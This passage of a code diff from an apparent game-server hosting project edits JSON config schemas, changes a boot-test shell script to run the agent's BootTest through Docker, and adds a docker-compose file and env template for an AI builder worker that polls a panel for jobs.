+      "description": "uid:gid the server runs as, for images built around their own user (ARK's needs 25000:25000). Defaults to 1000:1000; root is never allowed.",
       "type": ["string", "null"],
       "pattern": "^[1-9][0-9]{0,8}:[1-9][0-9]{0,8}$"
     },
@@ -69,10 +69,6 @@
     "maxBackupSizeMb": { "type": ["integer", "null"], "minimum": 1 },
 
     "publicIpConfigKey": { "description": "Config key that receives the server's public address.", "type": ["string", "null"] },
-    "portMode": {
-      "description": "MATCH_PUBLIC: for games that advertise the address their own traffic comes from. The container binds the port players use (the relay port behind Public Bypass) and, behind a relay, all its outgoing traffic leaves through the relay. Tell the game its port with {PUBLIC_PORT_<defaultPort>} in defaultStartupCommand.",
-      "enum": ["DEFAULT", "MATCH_PUBLIC", null]
-    },
     "maxPlayersConfigKey": { "description": "Config key locked to the pricing tier's player count.", "type": ["string", "null"] },
     "mapConfigKey": { "type": ["string", "null"] },
 

schema/test.schema.json

@@ -32,17 +32,6 @@
       "type": "integer",
       "minimum": 10,
       "maximum": 3600
-    },
-    "unboundPorts": {
-      "description": "Published ports the server only opens once a player connects, so the boot test doesn't expect them open. Each one exactly as in defaultPorts, with the reason in a comment.",
-      "type": "array",
-      "items": { "type": "string" }
-    },
-    "holdSec": {
-      "description": "How long the server must stay up after its ready line to pass (default 60). Its published ports are checked after it.",
-      "type": "integer",
-      "minimum": 0,
-      "maximum": 3600
     }
   }
 }

scripts/boot-test.sh

@@ -30,20 +30,28 @@ for id in "$@"; do
     echo "::endgroup::"
     continue
   fi
-  # The node-agent's BootTest with the game's real payload. Steam games start from the runner's download
-  # cache (volumes gbr-steamcache-<app>, kept by RUNNER.md's prune), so Steam isn't asked for the whole
-  # game on every run
-  AGENT_IMAGE="$AGENT_IMAGE" "$gbrgames" boot-test "$id"
+  payload=$("$gbrgames" boottest-payload "$id")
   code=$?
-  if [ $code -eq 3 ]; then skipped+=("$id")
-  elif [ $code -eq 0 ]; then passed+=("$id")
-  else failed+=("$id"); fi
+  if [ $code -eq 3 ]; then
+    skipped+=("$id")
+    echo "::endgroup::"
+    continue
+  elif [ $code -ne 0 ]; then
+    failed+=("$id")
+    echo "::endgroup::"
+    continue
+  fi
+
+  docker run --rm -i \
+    -v /var/run/docker.sock:/var/run/docker.sock \
+    --entrypoint java "$AGENT_IMAGE" \
+    -Dloader.main=com.gbreed.gbr.nodeagent.BootTest -cp app.jar \
+    org.springframework.boot.loader.launch.PropertiesLauncher <<< "$payload"
+  if [ $? -eq 0 ]; then passed+=("$id"); else failed+=("$id"); fi
   echo "::endgroup::"
 done
 
 echo "passed:  ${passed[*]:-none}"
 echo "skipped: ${skipped[*]:-none} (missing secrets)"
 echo "failed:  ${failed[*]:-none}"
-# For the workflow: the weekly run queues a repair for each failed game
-[ -n "${GITHUB_OUTPUT:-}" ] && echo "failed=${failed[*]}" >> "$GITHUB_OUTPUT"
 [ ${#failed[@]} -eq 0 ]

scripts/builder/docker-compose.yml

@@ -0,0 +1,28 @@
+# The AI builder worker on the builder VM (BUILDER.md). It polls the panel for jobs, so nothing needs to
+# reach this VM from outside. Game servers it boots run in the isolated gbr-boottest network.
+services:
+  gbr-builder:
+    image: www.gitea.gbreed.com/gbreed-public/gbr-builder:latest
+    container_name: gbr-builder
+    restart: unless-stopped
+    env_file: .env
+    environment:
+      WORK_DIR: /work
+    volumes:
+      - /var/run/docker.sock:/var/run/docker.sock
+      # Job clones and first-boot reports (servers themselves use Docker volumes)
+      - /opt/gbr-builder/work:/work
+    labels:
+      - com.centurylinklabs.watchtower.enable=true
+
+  watchtower:
+    image: containrrr/watchtower:1.7.1
+    container_name: gbr-builder-watchtower
+    restart: unless-stopped
+    environment:
+      WATCHTOWER_LABEL_ENABLE: "true"
+      WATCHTOWER_POLL_INTERVAL: "300"
+      WATCHTOWER_CLEANUP: "true"
+      DOCKER_API_VERSION: "1.44"
+    volumes:
+      - /var/run/docker.sock:/var/run/docker.sock

scripts/builder/env.example

@@ -0,0 +1,19 @@
+# Copy to /opt/gbr-builder/.env and fill in. Never commit the real file.
+
+# The panel the worker takes jobs from, and the token both sides share (panel env BUILDER_TOKEN)
+PANEL_URL=https://api.gbrhosting.com
+BUILDER_TOKEN=
+
+# The gbr-bot account's token (repository read/write on gbreed-public/gbr-games): pushes draft branches, opens PRs
+GITEA_TOKEN=
+
+# The model on the 3090, and the search + page reader the research step uses
+OLLAMA_URL=http://192.168.4.30:11434
+SEARXNG_URL=http://192.168.4.38:8080
+READER_URL=http://192.168.4.38:3000
+
+# Optional
+# MODEL=qwen3.8:27b
+# MODEL_PROVIDER=ollama        # or gemini, with GEMINI_API_KEY
+# POLL_INTERVAL=20s
+# WORKER_NAME=gamebuilder